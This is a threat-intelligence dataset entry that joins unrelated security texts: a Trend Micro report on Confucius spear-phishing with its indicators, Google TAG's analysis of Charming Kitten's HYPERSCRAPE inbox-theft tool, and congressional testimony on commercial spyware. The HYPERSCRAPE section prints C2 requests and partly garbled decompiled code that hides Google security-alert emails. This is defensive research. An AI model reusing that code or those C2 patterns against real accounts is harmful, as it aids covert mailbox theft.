mrmoor/cyber-threat-intelligence huggingface dataset:
If the hash is not listed, the file is sent via the C&C to a directory named after the concatenation of the machine name and the username.
The exclusion list is different for every machine name-username string.
Other campaigns
During our monitoring of Confucius, we came across a campaign delivering the same payload, using a different lure.
In this instance, the campaign impersonated the Pakistani Defense Housing Authority.
Again, this threat actor’s interest in military personnel is obvious.
Spear-phishing email from early August
The lures used in an older campaign from April 2021 impersonated the Federal Board of Revenue.
There were minor differences in tools, tactics, and procedures: the malicious document was directly attached to the spear phishing email — still encrypted — and the decryption password was sent in a different email.
The first stage was also hidden in the “Comments” section.
However, the second stage contained the final payload, which was once again a file stealer with the exact same structure (a .NET DLL).
Instead of exfiltrating the files through PHP scripts, they were done via FTP server.
It should be noted that in some occasions, the threat actor sent spear-phishing emails from the domain name mailerservice[.]directory which we attributed to the Patchwork threat actor in previous research.
We disclosed multiple links between Patchwork and Confucius threat actors in the past, so this came as no surprise to us.
The creative use of social engineering lures and how to defend against them
In our previous research, we already found Confucius, which is known for targeting Pakistan military for espionage purposes, employing multiple file stealers.
While the code quality of its payloads is not of the highest standard, this threat actor uses innovative techniques when crafting its malicious documents, such as  hiding malicious code in the comments section, or using encrypted documents to prevent automatic analysis.
Therefore, it’s highly likely that Confucius will continue to experiment and try out different kinds of social engineering lures in future campaigns.
Despite the variety of lures used by the threat actor, best security practices still apply to these attacks.
Users should always be wary and avoid clicking on any link or downloading any file from unsolicited emails or suspicious sources.
Red flags such as unusual sender domains or grammatical and spelling errors are also a sign that the email is malicious in nature, or at the very least, should be approached with proper security protocols in mind.
The following security solutions can also protect users from email-based attacks:  Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.
It also protects organizations from email-based threats.
Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.    Indicators of Compromise Hashes of the malicious encrypted documents:      SHA256  Detection name  dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2  Trojan.W97M.CONFUCIUS.A  0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07  Trojan.W97M.CONFUCIUS.B
508bcc1f3906f5641116cde26b830b43f38f9c68a32b67e03a3e7e3f920b1f4a
Trojan.W97M.CONFUCIUS.B  654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312  Trojan.W97M.CONFUCIUS.C  712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f  Trojan.Win32.DLOADR.TIOIBELQ
URLs/Domains/IP Addresses      Server hosting malicious documents  parinari[.]xyz  Server used for file exfiltration  pirnaram[.]xyz  Domain names linked to other campaigns
pemra[.]email  ispr[.]email  fbr[.]news  defencepk[.]email  pakistanarmy[.]email  pmogovpk[.]email  mailerservice[.]directory  file-dnld[.]com  funtifu[.]live  cnic-update[.]com  cnic-ferify[.]live  fbr-update[.]com  download.fbr[.]tax  support-team[.]tech  api.priveetalk[.]com       Sender email addresses      latest_info@fbr.news  notice@fbr.news  alert@fbr.news  thenewsinernational@mailerservice.directory
Tags  APT & Targeted Attacks | Cyber Crime | Research | Articles, News, Reports
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2} Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span") where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") ||
x.TextContent.StartsWith("Access for less secure apps has been turned on") ||
x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google")
x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList
GeckoHtmlElement > (
; bool flag = list.Count == 0; return !flag; }
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() { string text = "PipeName";
Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)
{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }
jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }
catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }
pipeCommunication.Close(); }
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.
It was last updated on July 29, 2022.
The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.
We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.
Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.
We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.
Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.
TAG actively monitors threat actors and the evolution of their tactics and techniques.
For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.
We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.
We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.
TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.
And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.
We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.
Google has a long track record combating commercial surveillance tools targeting our users.
In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.
At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.
We observed fewer than three dozen installs of this spyware.
We remediated the compromises for these users and implemented controls to protect all Android users.
NSO Group continues to pose risks across the Internet ecosystem.
In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.
Google was able to identify the vulnerability in use and fix the exploit quickly.
In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.
iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.
Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.
Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.
Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.
For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.
We assessed that a surveillance vendor packaged and sold these technologies.
Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.
Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.
Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.
We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.
Among other targets, this spyware was used to compromise journalists and opposition politicians.
Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.
TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.
The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.
Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.
These vendors operate with deep technical expertise to develop and operationalize exploits.
We believe its use is growing, fueled by demand from governments.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.
This industry appears to be thriving.
These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.
While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.
Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.
In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.
While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.
This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.
On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.
Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.
Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.
On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.
Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.
We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.
And we offer other advanced phishing and malware protection to administrators to better protect their users.
By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.
However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.
For Android, through its entire development lifecycle, we subject the products to a rigorous security program.
The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.
We ensure appropriate controls are built into the architecture of the system.
During the development stage, Android-created and open source components are subject to vigorous security reviews
For users, Android provides safety and control over how apps and third parties can access the data from their devices.
For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.
We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.
For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.
Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.